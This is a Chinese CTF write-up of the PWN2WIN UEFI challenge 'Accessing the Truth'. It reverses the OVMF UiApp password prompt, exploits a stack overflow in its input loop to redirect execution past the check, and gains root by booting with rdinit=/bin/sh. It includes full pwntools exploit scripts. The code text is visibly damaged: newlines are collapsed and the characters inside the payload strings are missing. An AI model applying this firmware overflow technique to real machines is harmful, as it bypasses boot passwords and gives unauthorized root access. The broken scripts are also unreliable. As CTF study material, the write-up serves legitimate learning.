解決第一個UEFI PWN——Accessing the Truth解題思路
前段時間打了場PWN2WIN,期間遇到了這道BIOS題,正好來學習一下UEFI PWN

題目包含下列文件

題目分析
run.py是題目給的啟動腳本
#!/usr/bin/python3 -uimport randomimport stringimport subprocessimport tempfile
def random_string(n): return ''.join(random.choice(string.ascii_lowercase) for _ in range(n))
def check_pow(bits): r = random_string(10) print(f"hashcash -mb{bits} {r}") solution = input("Solution: ").strip() if subprocess.call(["hashcash", f"-cdb{bits}", "-r", r, solution], cwd="/tmp", stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) != 0: raise Exception("Invalid PoW")
#check_pow(25)
fname = tempfile.NamedTemporaryFile().name
subprocess.call(["cp", "OVMF.fd", fname])try: subprocess.call(["chmod", "u+w", fname]) subprocess.call(["qemu-system-x86_64", "-monitor", "/dev/null", "-m", "64M", "-drive", "if=pflash,format=raw,file=" + fname, "-drive", "file=fat:rw:contents,format=raw", "-net", "none", "-nographic"], stderr=subprocess.DEVNULL, timeout=60)except: pass
subprocess.call(["rm", "-rf", fname])print("Bye!")
注釋掉pow,直接啟動。啟動起來是一個低權限用戶的linux虛擬機,目標是獲取根目錄下flag.txt的內容,典型的內核題

仔細看啟動命令,貌似沒加載任何可疑的虛擬設備,排除掉QEMU逃逸

解開contents/initramfs.cpio,看到init文件。這里有一條mount -t efivarfs efivarfs /sys/firmware/efi/efivars,懷疑是UEFI PWN

另外,啟動腳本里有60秒的timout,需要把這里干掉

解開OVMF
找到一個工具UEFITool能打開OVMF.fd,里面的文件貌似是PE32格式

binwalk也能識別出來是PE,無奈還是解不開,繼續找工具

發現這工具能解開:UEFI Firmware Parser
uefi-firmware-parser -ecO ./OVMF.fd
解開后發現一堆pe raw文件

定位到UiApp
既然是BIOS PWN,那就先進BIOS吧,啟動時連按F12就進來了。

進BIOS以后有一個密碼校驗,過了應該就能進BIOS。此外,還發現了以下一些信息

拿UEFITool能搜到些信息

這里的id貌似能跟進BIOS的id對得上,這個應該是GUID

在解開的文件里搜462CAA21-7614-4503-836E-8AB6F4662331,找到了這個目錄

IDA打開section0.pe,分析完以后這里選Unicode

查找字符串,就能看到Enter Password:,可以確定section0.pe就是UiApp這個登錄校驗程序


靜態分析

校驗程序有個sha256

漏洞點在:不會讓while循環break掉,同時index不斷自增1,buf = &input_buf[index];獲取到的棧地址繼續往后延,這樣可能會覆蓋到返回地址
int __cdecl main(int argc, const char **argv, const char **envp){ void *v3; // rsp void *v4; // rsp __int64 v5; // rdx __int64 v6; // r8 __int64 v7; // r9 size_t v8; // rdx __int64 v9; // r8 __int64 v10; // r9 char *buf; // rdx unsigned __int64 v12; // rax __int64 v13; // rdx __int64 v14; // r8 __int64 v15; // r9 char v17[7]; // [rsp+20h] [rbp-60h] BYREF char c; // [rsp+27h] [rbp-59h] char *input_buf; // [rsp+28h] [rbp-58h] __int64 v20; // [rsp+30h] [rbp-50h] char *v21; // [rsp+38h] [rbp-48h] __int64 v22; // [rsp+40h] [rbp-40h] size_t v23; // [rsp+48h] [rbp-38h] unsigned __int64 v24; // [rsp+50h] [rbp-30h] __int64 index; // [rsp+58h] [rbp-28h]
v24 = 0i64; index = -1i64; v23 = 32i64; v22 = 31i64; v3 = alloca(32i64); v21 = v17; v20 = 31i64; v4 = alloca(32i64); input_buf = v17; wputs(word_1395A, 15i64, 32i64, 0i64); while ( v24 <= 2 ) { sub_9D3(input_buf, v23, 0i64); index = -1i64; wputs(L"Enter Password: ", v5, v6, v7); while ( 1 ) { c = getchar(); ++index; if ( c == '\r' ) break; if ( c != '' ) { buf = &input_buf[index]; *buf = c; wputs(L"*", buf, v9, v10); v12 = wstr_length(input_buf); v8 = v23 - 1; if ( v12 >= v23 - 1 ) break; } } wputs(L"", v8, v9, v10); sha256_process(input_buf, index, v21); if ( !((__int64 (__fastcall *)(char *, void *, size_t))memcmp)(v21, &unk_1B840, v23) ) return 1; wputs(L"Wrong!!", v13, v14, v15); ++v24; } return 0;}
UiApp沒開ASLR和NX,溢出后直接在棧執行shellcode即可

Debug
啟動腳本
from pwn import *
context.arch = "amd64"context.log_level = "debug"
tube.s = tube.sendtube.sl = tube.sendlinetube.sa = tube.sendaftertube.sla = tube.sendlineaftertube.r = tube.recvtube.ru = tube.recvuntiltube.rl = tube.recvlinetube.ra = tube.recvalltube.rr = tube.recvregextube.irt = tube.interactive
DEBUG = 1
if DEBUG == 0: fname = "/tmp/test_uefi" os.system("cp OVMF.fd %s" % (fname)) os.system("chmod u+w %s" % (fname))
p = process(["qemu-system-x86_64", "-m", "64M", "-drive", "if=pflash,format=raw,file="+fname, "-drive", "file=fat:rw:contents,format=raw", "-net", "none", "-nographic"], env={})elif DEBUG == 1: fname = "/tmp/test_uefi" os.system("cp OVMF.fd %s" % (fname)) os.system("chmod u+w %s" % (fname))
p = process(["qemu-system-x86_64", "-s", "-m", "64M", "-drive", "if=pflash,format=raw,file="+fname, "-drive", "file=fat:rw:contents,format=raw", "-net", "none", "-nographic"], env={})elif DEBUG == 2: p = remote('accessing-the-truth.pwn2win.party', 1337)
def exploit(): p.recvn(1) # sleep(1) p.send("\x1b[24~")
p.irt()
if __name__ == "__main__": exploit()
啟動腳本加上-s參數,進BIOS以后gdb attach上

問題就是怎么拿到UiApp的加載地址?嘗試在gdb里搜這段數據

找到三個地址,這里的0x28ba990比較可疑


減去Enter Password:的offset,即0x28ba990-0x13990 = 0x28a7000,然后以0x28a7000為基址查看main函數的代碼

可以斷定0x28a7000就是UiApp的加載基址

用0x28a7000修正IDA分析的基址

在IDA打上斷點,給UiApp發以下數據
def exploit(): p.recvn(1) # sleep(1) p.send("\x1b[24~")
#print(p.recvuntil("Password"))
pause() p.sa('Password', 'A'*2+''*2+'B'*0x18+'\r')
p.irt()
由于''*2,buf跳過了兩個byte的地址,因而發送足夠多便可溢出到返回地址

Hijack to BIOS Booting
&buf = 0x3EBC650距離返回地址0x3EBC6F0-0x3EBC650+8 = 0xa8byte

這樣構造便能覆蓋到返回地址
payload = b''*0xa8 + p32(0xdeadbeaf)payload += b'\r'

控了rip以后,需要將rip劫持到BIOS正常啟動的代碼,這片代碼便是過了校驗后啟動BIOS程序

對應的匯編代碼,嘗試劫持到0x28B0DD5

另外,發送/r會導致break while,只要令v25>=3即發送三次\r便能跳出外層while并return。

現在已經看到能啟動到BIOS了

但pwntools連接的圖形操作還有問題,可以用socat來連
socat -,raw,echo=0 SYSTEM:"python ./solve.py"

進入BIOS,增加一條啟動項,啟動內容加上rdinit=/bin/sh,保存后選該啟動項來啟動系統

啟動進入到系統,現在已經是root權限

打遠程

Script
完整EXP
#socat STDIO,icanon=0,echo=0 SYSTEM:"python ./solve.py"#socat -,raw,echo=0 SYSTEM:"python ./solve.py"
from pwn import *
context.arch = "amd64"#context.log_level = "debug"
tube.s = tube.sendtube.sl = tube.sendlinetube.sa = tube.sendaftertube.sla = tube.sendlineaftertube.r = tube.recvtube.ru = tube.recvuntiltube.rl = tube.recvlinetube.rn = tube.recvntube.ra = tube.recvalltube.rr = tube.recvregextube.irt = tube.interactive
DEBUG = 1
if DEBUG == 0: fname = "/tmp/test_uefi" os.system("cp OVMF.fd %s" % (fname)) os.system("chmod u+w %s" % (fname))
p = process(["qemu-system-x86_64", "-s", "-m", "64M", "-drive", "if=pflash,format=raw,file="+fname, "-drive", "file=fat:rw:contents,format=raw", "-net", "none", "-nographic"], env={})elif DEBUG == 1: p = remote('accessing-the-truth.pwn2win.party', 1337)
def pass_pow(): p.ru('hashcash -mb25') hash = p.rl().strip()
cmd = 'hashcash -mb25 '+hash.decode(encoding="utf-8") res = os.popen(cmd) cash = res.read() res.close()
p.sa('Solution:', cash)
def exploit(): pass_pow()
p.rn(1) p.s('\x1b[24~'*10)
#pause() #p.sa('Password', 'A'*2+''*2+'B'*0x18+'\r') #payload = 'A'*2+''*2+'B'*0x18+'\r'
#payload = b''*0xa8 + p32(0xdeadbeaf) #payload += b'\r'
payload = b''*0xa8 + p32(0x28b0dd5) payload += b'\r'
#pause() p.sa('Password', payload)
payload = '\r' p.s(payload) p.s(payload)
p.irt()
if __name__ == "__main__": exploit()